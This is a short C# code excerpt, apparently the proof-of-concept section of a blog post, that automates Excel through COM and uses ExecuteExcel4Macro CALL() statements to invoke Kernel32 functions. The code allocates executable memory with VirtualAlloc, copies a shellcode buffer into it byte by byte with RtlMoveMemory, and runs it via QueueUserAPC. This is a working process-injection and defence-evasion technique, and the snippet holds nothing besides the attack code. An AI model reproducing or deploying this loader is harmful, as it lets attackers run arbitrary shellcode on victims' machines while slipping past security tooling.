poc_blog_code_section.cs

var memaddr = Convert.ToDouble(excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"VirtualAlloc\\",\\"JJJJJ\\"," + lpAddress + "," + shellcode.Length + ",4096,64)" }));
var startaddr = memaddr;

foreach (var b in shellcode) {
	var cb = String.Format("CHAR({0})", b);
	var macrocode = "CALL(\\"Kernel32\\",\\"RtlMoveMemory\\",\\"JJCJ\\"," + memaddr + "," + cb + ",1)";
	excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { macrocode });
	memaddr++;
}
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "CALL(\\"Kernel32\\",\\"QueueUserAPC\\",\\"JJJJ\\"," + startaddr + ", -2, 0)" });